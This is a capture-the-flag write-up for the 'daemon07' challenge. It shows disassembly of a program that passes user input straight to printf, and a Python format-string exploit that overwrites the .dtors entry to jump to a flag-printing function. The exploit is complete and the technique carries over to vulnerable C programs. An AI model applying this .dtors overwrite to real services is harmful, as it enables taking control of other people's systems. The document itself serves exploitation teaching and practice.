Analyzing main

There really is nothing to analyze here. It’s plain to see that the last printf was called without any format string.

.text:08048A8E main            proc near               ; DATA XREF: start+17↑o
.text:08048A8E
.text:08048A8E var_118         = dword ptr -118h
.text:08048A8E var_114         = dword ptr -114h
.text:08048A8E var_110         = dword ptr -110h
.text:08048A8E var_108         = dword ptr -108h
.text:08048A8E
.text:08048A8E                 push    ebp
.text:08048A8F                 mov     ebp, esp
.text:08048A91                 sub     esp, 118h       ; char *
.text:08048A97                 and     esp, 0FFFFFFF0h
.text:08048A9A                 mov     eax, 0
.text:08048A9F                 add     eax, 0Fh
.text:08048AA2                 add     eax, 0Fh
.text:08048AA5                 shr     eax, 4
.text:08048AA8                 shl     eax, 4
.text:08048AAB                 sub     esp, eax
.text:08048AAD                 mov     [esp+118h+var_118], offset aCodedByXwings_ ; "Coded By xWinGs. a code just to make yo"...
.text:08048AB4                 call    _printf
.text:08048AB9                 mov     [esp+118h+var_118], offset aSecretCode ; "Secret Code: "
.text:08048AC0                 call    _printf
.text:08048AC5                 mov     eax, ds:stdout
.text:08048ACA                 mov     [esp+118h+var_118], eax
.text:08048ACD                 call    _fflush
.text:08048AD2                 mov     [esp+118h+var_110], 100h
.text:08048ADA                 lea     eax, [ebp+var_108]
.text:08048AE0                 mov     [esp+118h+var_114], eax
.text:08048AE4                 mov     [esp+118h+var_118], 0
.text:08048AEB                 call    _read
.text:08048AF0                 mov     ds:dword_8052998, eax
.text:08048AF5                 mov     [esp+118h+var_110], offset aEtcFlagsDaemon ; "/etc/flags/daemon07.txt"
.text:08048AFD                 mov     eax, ds:dword_8052998
.text:08048B02                 mov     [esp+118h+var_114], eax
.text:08048B06                 lea     eax, [ebp+var_108]
.text:08048B0C                 mov     [esp+118h+var_118], eax
.text:08048B0F                 call    sub_80489C4
.text:08048B14                 mov     [esp+118h+var_118], offset aWrongCode_Debu ; "Wrong Code.nDebug Input : "
.text:08048B1B                 call    _printf
.text:08048B20                 lea     eax, [ebp+var_108]
.text:08048B26                 mov     [esp+118h+var_118], eax
.text:08048B29                 call    <strong>_printf</strong>
.text:08048B2E                 mov     eax, 0
.text:08048B33                 leave
.text:08048B34                 retn
.text:08048B34 main            endp

Exploit it

So, it’s a simple format string exploit. We will overwrite the end of .dtors to point to the easter-egg function at 08048A32.

.text:08048A32 ; ---------------------------------------------------------------------------
.text:08048A32                 push    ebp
.text:08048A33                 mov     ebp, esp
.text:08048A35                 sub     esp, 48h
.text:08048A38                 mov     dword ptr [esp+4], offset aR ; "r"
.text:08048A40                 mov     dword ptr [esp], offset aEtcFlagsDaemon ; "/etc/flags/daemon07.txt"
.text:08048A47                 call    _fopen
.text:08048A4C                 mov     [ebp-0Ch], eax
.text:08048A4F                 mov     eax, [ebp-0Ch]
.text:08048A52                 mov     [esp+8], eax
.text:08048A56                 mov     dword ptr [esp+4], 20h
.text:08048A5E                 lea     eax, [ebp-38h]
.text:08048A61                 mov     [esp], eax
.text:08048A64                 call    _fgets
.text:08048A69                 mov     eax, [ebp-0Ch]
.text:08048A6C                 mov     [esp], eax
.text:08048A6F                 call    _fclose
.text:08048A74                 lea     eax, [ebp-38h]
.text:08048A77                 mov     [esp+4], eax
.text:08048A7B                 mov     dword ptr [esp], offset aS ; "n%s"
.text:08048A82                 call    _printf
.text:08048A87                 mov     eax, 0
.text:08048A8C                 leave
.text:08048A8D                 retn

These few lines of Python code are all it takes to construct an exploit.

dtors_addr = 0x08052804
target_addr = 0x08048A32
offset = 8

junk_cnt0 = offset * 4
junk_cnt1 = (target_addr & 0xFFFF) - junk_cnt0
junk_cnt2 = 0x10000 + ((target_addr & 0xFFFF0000) >> 16) - junk_cnt1 - junk_cnt0

fmtstring = struct.pack("I", dtors_addr) + struct.pack("I", dtors_addr + 2) + "aaaa" * (offset - 2)
fmtstring += "%%.%dx%%%d$hn" % (junk_cnt1, offset)
fmtstring += "%%.%dx%%%d$hn" % (junk_cnt2, offset + 1)
fmtstring += "n"
# send this string to port 7777, will ya?

Observation

Unlike daemon05, we need not flush the buffer in printf because when the daemon ends normally, this buffer is automatically flushed. And the daemon does end normally. Let’s find out why.

.dtors:08052800 _dtors          segment dword public 'DATA' use32
.dtors:08052800                 assume cs:_dtors
.dtors:08052800                 ;org 8052800h
.dtors:08052800                 db 0FFh
.dtors:08052801                 db 0FFh
.dtors:08052802                 db 0FFh
.dtors:08052803                 db 0FFh
.dtors:08052804                 db    0
.dtors:08052805                 db    0
.dtors:08052806                 db    0
.dtors:08052807                 db    0
.dtors:08052807 _dtors          ends
.dtors:08052807
.jcr:08052808 ; ---------------------------------------------------------------------------
.jcr:08052808
.jcr:08052808 ; Segment type: Pure data
.jcr:08052808 ; Segment permissions: Read/Write
.jcr:08052808 _jcr            segment dword public 'DATA' use32
.jcr:08052808                 assume cs:_jcr
.jcr:08052808                 ;org 8052808h
.jcr:08052808                 db    0
.jcr:08052809                 db    0
.jcr:0805280A                 db    0
.jcr:0805280B                 db    0
.jcr:0805280B _jcr            ends

Right after .dtors is .jcr which is filled with four 00, which incidentally is also the end marker for .dtors. So, when we overwrite 08052804 with the value 08048A32, we happen to insert a destructor to .dtors list. If .jcr were different, we would have to overwrite .jcr to point to the fflush code in main, which is at 08048AC5. This is still doable by extending our format string to have two more %hn overwrites.

Oh, and thank you, xWinGs, for these easy points.